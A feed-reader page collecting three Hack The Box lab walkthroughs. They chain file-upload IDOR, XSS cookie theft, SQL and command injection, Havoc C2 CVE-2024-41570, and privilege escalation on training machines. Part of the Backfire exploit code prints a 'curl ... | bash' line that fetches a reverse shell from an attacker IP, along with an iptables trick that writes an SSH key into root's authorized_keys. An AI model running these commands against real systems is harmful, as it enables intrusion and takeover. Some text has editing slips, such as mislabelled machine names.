Reading view

There are new articles available, click to refresh the page.

Hack The Box: Nocturnal Machine Walkthrough – Easy Difficulty

By: darknite
Reading Time: 9 minutes

Introduction to Nocturnal:

In this write-up, we will explore the “Nocturnal” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Nocturnal” machine from Hack The Box by achieving the following objectives:

User Flag:

To grab the user flag on Nocturnal, we started by exploring the file upload functionality after creating an account. Uploading a .odt file and unpacking it revealed a hidden password inside content.xml using xmllint. Initial attempts to SSH or use pwncat-cs failed, but the password worked on the web dashboard, letting us upload files as Amanda. Leveraging the backup feature, we injected a reverse shell, landing a www-data shell. From there, we navigated the nocturnal_database directory, pulled password hashes, cracked Tobias’s password (slowmotionapocalypse), and captured the user flag

Root Flag:

For the root flag, basic enumeration showed no exploitable binaries, but port 8080 was listening. After port forwarding, we accessed the ISPConfig panel. Tobias’s credentials didn’t work, but the admin password gave us full access. Identifying the ISPConfig version from the source and Help section, we grabbed a public exploit, executed it, and gained root shell access. Finally, the root flag was obtained

Enumerating the Nocturnal Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.64

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/nocturnal]
└──╼ $nmap -sC -sV -oA initial 10.10.11.64
# Nmap 7.94SVN scan initiated Sat Aug  9 04:55:52 2025 as: nmap -sC -sV -oA initial 10.10.11.64
Nmap scan report for 10.10.11.64
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  9 04:56:46 2025 -- 1 IP address (1 host up) scanned in 54.95 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu, providing secure shell access for remote login. The server exposes RSA, ECDSA, and ED25519 host keys.
  • Port 80 (HTTP): Nginx 1.18.0 serving the web application on Ubuntu. The HTTP title did not follow the redirect to http://nocturnal.htb/, indicating the presence of a web interface.

Web Enumeration:

Web Application Exploration:

The website interface appears as shown above.

Tried logging in with the credentials admin:admin, but it failed.

Here’s a smoother version:

Sadly, the credentials are invalid.

Attempted to register a new account using dark:dark, but received a “failed to register user” error.

However, account creation succeeded with test:test, which was unusual. Further troubleshooting revealed that both the username and password must contain more than six characters in total.

We were redirected to a file upload page.

Before proceeding, let’s attempt to upload a simple text file.

The upload failed because only certain file formats are allowed.

Therefore, let’s try uploading a random PDF file to the application.

In Burp Suite, it appears as shown above.

We successfully uploaded the PDF file, as shown in the screenshot above. Clicking on the uploaded file opens a PDF editor.

As shown above, the response is displayed when attempting to access the uploaded file.

Tried accessing with the admin user, but it returned a “File does not exist” error.

Capture the packet request using Burp Suite

This FFUF command uses a saved HTTP request (req.req) to fuzz inputs from names.txt over HTTP, ignoring responses with a body size of 2985 bytes.

The fuzzing results revealed three valid usernames: admin, tobias, and amanda.

The URL http://nocturnal.htb/view.php?username=amanda&file=small.odt shows that file access is controlled through query parameters, which may expose the application to IDOR vulnerabilities if manipulated.

I presume it is just a normal PDF file content.

Let’s download the file to our machine for further analysis.

The file is formatted as an OpenDocument Text.

Opening the .odt file for further examination.

Surprisingly, the file does not open in OpenOffice but instead opens with a ZIP application.

As a result, let’s extract the file on our machine.

What is xmllint?

xmllint is a tool used to open and read XML files, which are special text files that store structured information. These files can be difficult to read normally, but xmllint makes them easier to understand by organising the text. In this case, it allowed us to look inside the file and discover hidden information, such as a password.

Using the xmllint command, we can read the file as shown above.

In the content.xml file, we can use xmllint to read the contents and identify the password (arHkG7HAI68X8s1J).

Attempted to connect to the machine via SSH using the credentials, but the login failed.

Earlier attempts using pwncat-cs and SSH both failed to establish access.

As a result, we proceeded to test it through the dashboard.

Unexpectedly, the attempt was successful, allowing us to upload files as the Amanda user.

There is an Admin Panel button located at the top of the interface.

No interesting files were found upon clicking the Admin Panel link.

There is a field that requires entering a password to access the backup.

Creating a password grants access to a collection of files for review.

We can download the file.

In Burp Suite, it appears as shown above.

Entered Amanda’s password, but the system returned an “incorrect password” message.

However, we successfully unzipped the file using the password we created earlier.

Looking inside the backup directory, nothing of interest was found.

After further consideration, we attempted to enter a reverse shell payload into the password field.

Finally, we successfully obtained a www-data shell.

Nothing was missing from the file we downloaded.

There is a nocturnal_database directory present.

Let’s proceed to access the database.

We retrieved password hashes from the database.

One of the hashes was successfully cracked, revealing the password slowmotionapocalypse.

It was determined that the hashes belong to the user tobias.

We obtained the user flag by running the command cat user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

There are no usable binaries available in this environment.

While checking the open ports with netstat -an, we discovered that port 8080 is open on the machine.

Setting up port forwarding for the previously identified port.

The service running on the forwarded port is ISPConfig.

Understanding ISPConfig: The Web Hosting Control Panel

ISPConfig is a web-based control panel used to manage websites, email accounts, and servers. It allows administrators to easily configure and control these services through a user-friendly interface, without needing to use complex commands. Think of it as a central dashboard for managing web hosting services.

Attempted to use Tobias’s password, but the login failed.

The admin password was successful.

Accessed the ISPConfig dashboard successfully.

The ISPConfig version was identified from the source code.

Alternatively, the version was also found in the Help section.

Let’s investigate the ISPConfig version 3.2.10p1 vulnerability that corresponds to CVE-2023-46818.

CVE-2023-46818: PHP Code Injection Vulnerability in ISPConfig 3.2.10p1

CVE-2023-46818 is a high-severity PHP code injection vulnerability affecting ISPConfig versions before 3.2.11p1. It occurs when the admin_allow_langedit setting is enabled, allowing authenticated administrators to inject and execute arbitrary PHP code via the language file editor. The flaw stems from improper sanitisation of user input in the records POST parameter of /admin/language_edit.php.

The vulnerability has a CVSS 3.1 base score of 7.2 (High), posing a significant risk. Successful exploitation can lead to full server compromise, enabling attackers to steal sensitive data, install malware, or disrupt services.

To mitigate this issue, it is recommended to upgrade to ISPConfig version 3.2.11p1 or later. Alternatively, disabling the language editor by setting admin_allow_langedit=no in /usr/local/ispconfig/security/security_settings.ini can prevent exploitation.v

Downloaded the exploit to our machine and executed it.

We obtained the root flag by running the command cat root.txt.

The post Hack The Box: Nocturnal Machine Walkthrough – Easy Difficulty appeared first on Threatninja.net.

Hack The Box: Cat Machine Walkthrough – Medium Diffculity

By: darknite
Reading Time: 13 minutes

Introduction

This write-up details the “Cat” machine from Hack The Box, a Medium-rated Linux challenge.

Objective on Cat Machine

The goal is to complete the “Cat” machine by accomplishing the following objectives:

User Flag:

To obtain the user flag, an attacker first exploits a Stored Cross-Site Scripting (XSS) vulnerability in the user registration form, which allows stealing the administrator’s session cookie. With this stolen session, the attacker accesses the admin panel and exploits an SQL Injection flaw to extract sensitive user credentials from the database. After cracking these credentials, SSH access is gained as a regular user, enabling the retrieval of the user flag—a secret token proving user-level access.

Root Flag:

For the root flag, privilege escalation is performed by finding a vulnerable image processing script owned by the root user. The attacker crafts a malicious image payload that executes unauthorised commands with root privileges. This leads to obtaining a root shell—the highest level of system access—allowing capture of the root flag, which confirms full control over the machine.

Reconnaissance and Enumeration on Cat Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Parrot OS virtual machine. The target IP address for the Dog machine was 10.10.11.53.

Initial Scanning

To identify open ports and services, I ran an Nmap scan:

nmap -sC -sV 10.10.11.53 -oA initial

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/cat]
└──╼ $ nmap -sC -sV -oA initial -Pn 10.10.11.53
# Nmap 7.94SVN scan initiated Tue Jun 17 10:05:26 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.53
Nmap scan report for 10.10.11.53
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 17 10:05:33 2025 -- 1 IP address (1 host up) scanned in 7.38 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 8.2p1 on Ubuntu 4ubuntu0.11 risks remote code execution if unpatched (e.g., CVE-2021-28041).
  • Port 80 (HTTP): Apache 2.4.41, vulnerable to path traversal (CVE-2021-41773), redirects to cat.htb, hinting at virtual host misconfigurations.

Web Enumeration:

Perform directory fuzzing to uncover hidden files and directories.

gobuster dir -u http://cat.htb -w /opt/common.txt

Let’s perform directory enumeration with Gobuster to identify any potentially useful resources.

Gobuster Output:

Web Path Discovery (Gobuster):

  • /.git Directory: Exposed Git repository risks source code leakage, revealing sensitive data like credentials or application logic.
  • /admin.php, /join.php, and Other Paths: Discovered sensitive endpoints may lack authentication, enabling unauthorised access or privilege escalation.

The website features a typical interface with user registration, login, and image upload functionalities, but the presence of an exposed .git directory and accessible admin endpoints indicate significant security vulnerabilities.

Git Repository Analysis with git-dumper

Utilised the git-dumper tool to clone the exposed Git repository by executing the command git-dumper http://cat.htb/.git/ git. Subsequently, employed a Git extraction tool to retrieve critical source code files, including join.php, admin.php, and accept_cat.php, for further analysis.

Within the cloned Git repository, several PHP files were identified, meriting further examination for potential vulnerabilities or insights.

Source Code Analysis and Review on Cat Machine

Source Code Review of accept_cat.php

The accept_cat.php file is intended to let the admin user 'axel' Accept a cat by inserting its name into the accepted_cats table and deleting the corresponding entry from the cats table. The script correctly verifies the user’s session and restricts actions to POST requests, which is good practice. However, it constructs the insertion SQL query by directly embedding the $cat_name variable without any sanitisation or use of prepared statements:

$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

This exposes the application to SQL injection attacks, as malicious input in catName could manipulate the query and compromise the database. On the other hand, the deletion query is properly parameterised, reducing risk. To secure the script, the insertion should also use prepared statements with bound parameters. Overall, while session checks and request validation are handled correctly, the insecure insertion query represents a critical vulnerability in accept_cat.php.

Vulnerability Review of admin.php

This admin page lets the user ‘axel’ manage cats by viewing, accepting, or rejecting them. It correctly checks if the user is logged in as ‘axel’ before allowing access and uses prepared statements to fetch cat data from the database safely. The cat details are displayed with proper escaping to prevent cross-site scripting attacks.

However, the page sends AJAX POST requests to accept_cat.php and delete_cat.php without any protection against Cross-Site Request Forgery (CSRF). This means an attacker could potentially trick the admin into performing actions without their consent. Also, based on previous code, the accept_cat.php script inserts data into the database without using prepared statements, which can lead to SQL injection vulnerabilities.

To fix these issues, CSRF tokens should be added to the AJAX requests and verified on the server side. Additionally, all database queries should use prepared statements to ensure user input is handled securely. While the page handles session checks and output escaping well, the missing CSRF protection and insecure database insertion are serious security concerns.

Security Audit of view_cat.php

The view_cat.php script restricts access to the admin user 'axel' and uses prepared statements to safely query the database, preventing SQL injection. However, it outputs dynamic data such as cat_name, photo_path, age, birthdate, weight, username, and created_at directly into the HTML without escaping. This creates a Cross-Site Scripting (XSS) vulnerability because if any of these fields contain malicious code, it will execute in the admin’s browser.

The vulnerable code includes:

Cat Details: <?php echo $cat['cat_name']; ?>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo $cat['age']; ?><br>
</code>

To mitigate this, all output should be passed through htmlspecialchars() to encode special characters and prevent script execution. Additionally, validating the image src attribute is important to avoid loading unsafe or external resources. Without these measures, the page remains vulnerable to XSS attacks.

Input Validation Analysis of join.php

The provided PHP code is vulnerable to several security issues, primarily due to improper input handling and weak security practices. Below is an explanation of the key vulnerabilities, followed by the relevant code snippets:

  1. Cross-Site Scripting (XSS): The code outputs $success_message and $error_message without sanitisation, making it susceptible to XSS attacks. User inputs (e.g., $_GET['username'], $_GET['email']) are directly echoed, allowing malicious scripts to be injected.
<?php if ($success_message != ""): ?>
   <div class="message"><?php echo $success_message; ?></div>
   <?php endif; ?>
   <?php if ($error_message != ""): ?>
   <div class="error-message"><?php echo $error_message; ?></div>
   <?php endif; ?>
  1. Insecure Password Storage: Passwords are hashed using MD5 (md5($_GET['password'])), which is cryptographically weak and easily cracked.
$password = md5($_GET['password']);
  1. SQL Injection Risk: While prepared statements are used, the code still processes unsanitized $_GET inputs, which could lead to other injection vulnerabilities if not validated properly.
  2. Insecure Data Transmission: Using $_GET for sensitive data like passwords, exposing them in URLs risks interception.

To mitigate these, use htmlspecialchars() for output, adopt secure hashing (e.g., password_hash()), validate inputs, and use $_POST for sensitive data.

Workflow Evaluation of contest.php

The PHP code for the cat contest registration page has multiple security flaws due to weak input handling and poor security practices. Below are the key vulnerabilities with relevant code snippets:

Cross-Site Scripting (XSS): The $success_message and $error_message are output without sanitization, enabling reflected XSS attacks via crafted POST inputs (e.g., cat_name=<script>alert(‘XSS’)</script>).

<?php if ($success_message): ?>
    <div class="message"><?php echo $success_message; ?></div>
<?php endif; ?>
<?php if ($error_message): ?>
    <div class="error-message"><?php echo $error_message; ?></div>
<?php endif; ?>
  • Weak Input Validation: The regex (/[+*{}’,;<>()\\[\\]\\/\\:]/) in contains_forbidden_content is too permissive, allowing potential XSS or SQL injection bypasses.
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
  • Insecure File Upload: The file upload trusts getimagesize and uses unsanitized basename($_FILES[“cat_photo”][“name”]), risking directory traversal or malicious file uploads.
$target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);

To mitigate, sanitize outputs with htmlspecialchars(), use stricter input validation (e.g., FILTER_SANITIZE_STRING), sanitize file names, restrict upload paths, and validate file contents thoroughly.

User Registration and Login

Clicking the contest endpoint redirects to the join page, which serves as the registration page.

Let’s create a new account by completing the registration process.

The registration process was completed successfully, confirming that new user accounts can be created without errors or restrictions.

Logging in with the credentials we created was successful.

After a successful login, the contest page is displayed as shown above.

Let’s complete the form and upload a cat photo as required.

Successfully submitted the cat photo for inspection.

Exploiting XSS to Steal Admin Cookie for Cat Machine

Initialise the listener.

Injected a malicious XSS payload into the username field.

Let’s create a new account by injecting malicious XSS code into the Username field while keeping all other inputs valid.

Let’s fill out the form with normal inputs as before.

The process may take a few seconds or minutes, depending on the response time. I have attempted multiple times to ensure it works successfully.

Used Firefox Dev Tools to set the cookie and gain access to admin features

Once we obtain the token hash, we need to copy and paste it into Firefox’s inspector to proceed further.

After that, simply refresh the page, and you will notice a new “Admin” option has appeared in the menu bar.

Clicking the Admin option in the menu bar redirects us to the page shown above.

Click the accept button to approve the submitted picture.

Leveraging XSS Vulnerability to Retrieve Admin Cookie for Cat Machine

Used Burp Suite to analyze POST requests.

Use Burp Suite to examine network packets for in-depth analysis.

Test the web application to determine if it is vulnerable to SQL injection attacks.

Attempting to inject the SQL command resulted in an “access denied” error, likely due to a modified or invalid cookie.

SQL Injection and Command Execution

After reconstructing the cookie, the SQL injection appears to function as anticipated.

Successfully executed command injection.

We can use the curl command to invoke the malicious file and execute it. The fact that it’s hanging is promising, indicating potential success.

It was observed that bash.sh has been transferred to the victim’s machine.

Success! A shell was obtained as the www-data user.

Database Enumeration

It’s unusual to find cat.db while searching for the database file.

Transfer the SQL file to our local machine.

We discovered that cat.db is a SQLite 3.x database.

sqlite3 cat.db opens the cat.db file using the SQLite command-line tool, allowing you to interact with the database—run queries, view tables, and inspect its contents.

The cat.db database contains three tables: accepted_cats, cats, and users, which likely stores approved cat entries, general cat data, and user information, respectively.

Immediate cracking is possible for some obtained hashes.

The screenshot shows the hashes after I rearranged them for clarity.

Breaking Password Security: Hashcat in Action

We need to specify the hash mode, which in this case could be MD5.

We successfully cracked the hash for the user Rosa, revealing the password: soyunaprincesarosa.

Boom! We successfully gained access using Rosa’s password.

The access.log file reveals the password for Axel.

The user Axel has an active shell account.

The credentials for Axel, including the password, were verified successfully.

Access is achievable via either pwncat-cs or SSH.

Executing the appropriate command retrieves the user flag.

Escalate to Root Privileges Access on Cat Machine

Privilege Escalation

The Axel user does not have sudo privileges on the cat system.

Email Analysis

We can read the message sent from Rosa to Axel.

The emails are internal updates from Rosa about two upcoming projects. In the first message, Rosa mentions that the team is working on launching new cat-related web services, including a site focused on cat care. Rosa asks Axel to send details about his Gitea project idea to Jobert, who will evaluate whether it’s worth moving forward with. Rosa also notes that the idea should be clearly explained, as she plans to review the repository herself. In the second email, Rosa shares that they’re building an employee management system. Each department admin will have a defined role, and employees will be able to view their tasks. The system is still being developed and is hosted on their private Gitea platform. Rosa includes a link to the repository and its README file, which has more information and updates. Both emails reflect early planning stages and call for team involvement and feedback.

Checking the machine’s open ports reveals that port 3000 is accessible.

Therefore, we need to set up port forwarding for port 3000.

Gitea Exploitation on Cat Machine

A screenshot of a computer

AI-generated content may be incorrect.

The service running on port 3000 is the Gitea web interface.

A screenshot of a login screen

AI-generated content may be incorrect.

Using Axel’s credentials, we successfully logged in.

Gitea service is running version 1.22.0, which may contain specific features and known vulnerabilities relevant for further evaluation.

Start the Python server to serve files or host a payload for the next phase of the assessment.

Inject the XSS payload as shown above.

The fake email is sent to the user jobert to test the functionality.

Obtained a base64-encoded cookie ready for decoding.

The decoded cookie appears to contain the username admin.

Edit the file within the Gitea application.

Obtained the token as shown above.

A screenshot of a computer screen

AI-generated content may be incorrect.
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

This PHP script enforces HTTP Basic Authentication by verifying the client’s username and password against predefined valid credentials: the username “admin” and the password “IKw75eR0MR7CMIxhH0.” Upon receiving a request, the script checks for authentication headers and validates them. If the credentials are missing or incorrect, it responds with a 401 Unauthorised status and prompts the client to authenticate within the “Employee Management” realm.

The password discovered grants root access and functions as an administrator password on Windows machines.

Executing the appropriate command retrieves the root flag.

The post Hack The Box: Cat Machine Walkthrough – Medium Diffculity appeared first on Threatninja.net.

Hack The Box: Backfire Machine Walkthrough – Medium Difficulty

By: darknite
Reading Time: 10 minutes

Introduction to Backfire:

In this write-up, we will explore the “Backfire” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Backfire” machine from Hack The Box by achieving the following objectives:

User Flag:

We obtained the user flag by exploiting two vulnerabilities in the Havoc C2 framework. First, we leveraged a Server-Side Request Forgery (SSRF) vulnerability (CVE-2024-41570) to interact with internal services.. This was chained with an authenticated Remote Code Execution (RCE) vulnerability, allowing execution of arbitrary commands and gaining a reverse shell as the ilya user. To maintain a more stable connection, SSH keys were generated and authorised, which provided reliable access to the system and allowed for the retrieval of the user.txt flag.

Root Flag:

Privilege escalation to root involved targeting the Hardhat C2 service. Using a Python script, we forged a valid JWT token to create a new administrative user. This access allowed us to obtain a reverse shell as the sergej user. Upon further examination, it was discovered that sergej it had sudo privileges on the iptables-save binary. This was abused to overwrite the /etc/sudoers file, granting full root access. With root privileges, the root.txt flag was successfully retrieved.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.49

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/backfire]
└──╼ $nmap -sC -sV -oA initial 10.10.11.49
# Nmap 7.94SVN scan initiated Tue May 20 16:24:16 2025
Nmap scan report for 10.10.11.49
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4
| ssh-hostkey: 256 ECDSA and ED25519 keys
443/tcp  open  ssl/http nginx 1.22.1
|_http-server-header: nginx/1.22.1
| tls-alpn: http/1.1, http/1.0, http/0.9
|_http-title: 404 Not Found
| ssl-cert: CN=127.0.0.1, O=TECH CO, ST=Colorado, C=US
| Valid: 2024-12-09 to 2027-12-09
8000/tcp open  http     nginx 1.22.1
|_http-title: Index of /
| http-ls: Volume / with disable_tls.patch and havoc.yaotl files
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The output above clearly shows the open ports.

Analysis:

  • 22/tcp (SSH): This port is running OpenSSH 9.2p1 on Debian 12. Although no credentials are currently available, it could later serve as a valuable post-exploitation entry point once initial access is established.
  • 443/tcp (HTTPS): On the other hand, this port runs Nginx with a self-signed certificate issued for 127.0.0.1. Because it returns a 404 error, it is likely intended for internal use or is misconfigured. Therefore, it may be useful for SSRF exploitation or internal routing if accessible.
  • 8000/tcp (HTTP): Most notably, this port reveals a directory listing containing two files: disable_tls.patch and havoc.yaotl. These files are likely related to the Havoc C2 framework. Additionally, Nmap indicates potential open proxy behavior, which could be leveraged for internal access or lateral movement.

Web Enumeration on Backfire Machine:

Web Application Exploration:

Opening the IP in the browser simply displays a 404 error from Nginx, with no useful information on the main page.

The files havoc.yaotl and disable_tls.patch is available for download. Let’s examine their contents to understand their relevance.

The disable_tls.patch file removes encryption from the Havoc C2 WebSocket on port 40056, switching from secure (wss://) to insecure (ws://) communication. A comment suggests someone framed Sergej as inactive, claiming local-only access made the change safe. Although it may seem beneficial in theory, in practice, it significantly undermines internal security. Moreover, such behaviour could potentially indicate deliberate sabotage.

This configuration sets up a control server running only on the local machine (127.0.0.1) using port 40056. It defines two users, “ilya” and “sergej,” each with their passwords. The system frequently runs background tasks every few seconds. Additionally, the system uses Windows Notepad as a placeholder program during certain operations. Furthermore, it listens for incoming connections securely on port 8443; however, it accepts connections only from the local machine. Consequently, the environment remains tightly controlled.

What is Havoc?

Cybersecurity teams use Havoc to test and improve security. As a result, it helps teams control computers they’ve gained access to during testing by sending commands and, in turn, receiving information back.. Created and maintained by Paul Ungur (C5pider).

It has two parts:

  • The Teamserver acts like a central hub, managing all connected computers and tasks. It usually runs on a server accessible to the team.
  • The Client is the user interface where the team controls everything and sees the results.

Exploitation on the Backfire machine

Create a reverse shell script (e.g., shell.sh), using any filename of your choice.

Initiate the listener to await incoming connections.

Download the exploit script to your machine using the link here

Launch the Python HTTP server to serve the necessary files.

The script imports required libraries and disables urllib3 warnings. It defines a decrypt() function that pads the key to 32 bytes and decrypts data using AES CTR mode.

Backfire Machine Source Code Architecture & CVE-2024-41570 Overview

A WebSocket payload simulates a listener heartbeat for the C2 server:

pythonCopyEdit<code>payload = { ... }
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

To execute commands, an injection string fetches and runs a shell script:

pythonCopyEdit<code>cmd = "curl http://<IP>:<PORT>/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""

This injection is inserted into the Service Name field within another JSON payload. The system serialises the payload, frames it, and sends it via WebSocket.

pythonCopyEdit<code>payload = { ... "Service Name": injection, ... }
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

This exploits a command injection vulnerability, enabling remote code execution.

This Python script demonstrates a remote code execution (RCE) exploit targeting a vulnerable Havoc C2 server. It mimics a legitimate agent registering with the server, establishes a socket connection, and communicates over WebSocket using Havoc’s internal protocol.

The script first injects a malicious payload into the server configuration by exploiting weak input handling. As a consequence of the vulnerability, it can execute arbitrary shell commands on the Teamserver. This, in turn, may allow an attacker to gain full control over the system.

We created a payload that fetches and runs a shell script using curl. The command is injected into the Service Name field to trigger remote code execution on the target system.

pythonCopyEdit<code>cmd = "curl http://10.10.14.132/shell.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""

First, this injection is placed inside a JSON object, which is then converted into a WebSocket frame. After that, we send the crafted payload over an existing socket connection to the server.

pythonCopyEdit<code>payload = { ... }
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame, message)

The payload exploits a weakness in how the server handles service names, giving us remote code execution.

This command downloads and runs a shell script from the attacker’s machine, effectively granting remote access. The code serialises the payload to JSON, wraps it in a WebSocket frame, and sends it to the server over an established socket, bypassing standard defences and triggering code execution within the server context.

A specially crafted WebSocket request triggers the RCE vulnerability. Next, the following command demonstrates how to run the exploit:

python3 exploit.py --target https://backfire.htb -i 127.0.0.1 -p 40056

Why This Exploit Targets Port 40056

Port 40056 is the Havoc Teamserver’s listening port. Targeting it lets you reach the internal WebSocket service that handles commands, enabling remote code execution through the vulnerability.

We completed the file transfer as demonstrated above.

We successfully established a reverse shell connection back to us.

The user flag can be retrieved by executing the command cat user.txt.

Escalate to Root Privileges Access on Backfire Machine

Privilege Escalation:

A message found on the target indicates that Sergej installed HardHatC2 for testing and left the configuration at its default settings. It also humorously suggests a preference for Havoc over HardHatC2, likely to avoid learning another C2 framework. The note ends with a lighthearted remark favouring Go over C#, hinting at the author’s language preference.

Since the reverse shell kept dropping, we had to switch over and continue access via SSH instead.

Created an SSH key ssh-keygen and added the public key to backfire‘s authorized_keys to gain access without relying on an unstable reverse shell.

Above is a screenshot showing the backfire.pub file, which we can transfer by copying it directly to the target machine.

This method demonstrates how to paste the file onto the target machine.

The SSH key id_rsa is unexpectedly resulting in a “permission denied (publickey)” error.

Accordingly, we will generate the SSH key directly on the victim’s machine.

You can extract the key from the victim’s machine and securely transfer it to our system.

Initially, we attempted to access the machine via SSH; however, it requires ED25519 key authentication.

We will generate the id_ed25519 public key and set its permissions to 600.

The key is added to the victim’s machine.

Therefore, we can gain SSH access using the id_ed25519 key.

Unfortunately, no SUID binaries are accessible since they require a password, which we do not possess.

Port-Forwarding the port

After further inspection, we identified several open ports; notably, ports 7096 and 5000 drew particular attention due to their potential relevance.

Although both ports 5000 and 7096 appear filtered according to the Nmap scan, we will attempt port forwarding to probe their accessibility from the internal network.

Accessing port 5000 yielded no visible response or content.

Accessing the service on Port 7096 requires credentials, which are currently unavailable.

We successfully created a user account with the username and password set to ‘dark’.

Successfully accessed the HardHat C2 dashboard.

A screen shot of a computer

AI-generated content may be incorrect.

Navigate to the ‘Terminal‘ tab within the implantInteract section.

A black screen with orange lines

AI-generated content may be incorrect.

We can perform a test by executing the id command.

Surprisingly, it worked flawlessly.

Add the SSH id_ed25519 public key to Sergej’s authorized_keys file to enable secure access.

Impressive! The operation was successful.

A screenshot of a computer program

AI-generated content may be incorrect.

Finally, we have successfully accessed Sergej’s account using the SSH id_ed25519 key.

A computer screen with green text

AI-generated content may be incorrect.

Once logged in through SSH, run sudo -l to identify which commands can be executed with elevated privileges. It shows that sudo users have permission to run iptables and iptables-save.

A computer screen with green text

AI-generated content may be incorrect.

This method takes advantage of how line wrapping works in command comments to inject an SSH key with root privileges. By adding a specially crafted comment containing the SSH key to an iptables rule and then exporting the rules to the root user’s authorized_keys file, you can grant SSH access as root:

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 ssh key\n'
sudo iptables-save -f /root/.ssh/authorized_keys
A black screen with green text

AI-generated content may be incorrect.

We successfully gained root access using the SSH id_ed25519 key.

A black background with green text

AI-generated content may be incorrect.

The root flag can be retrieved by executing the command cat root.txt.

The post Hack The Box: Backfire Machine Walkthrough – Medium Difficulty appeared first on Threatninja.net.

❌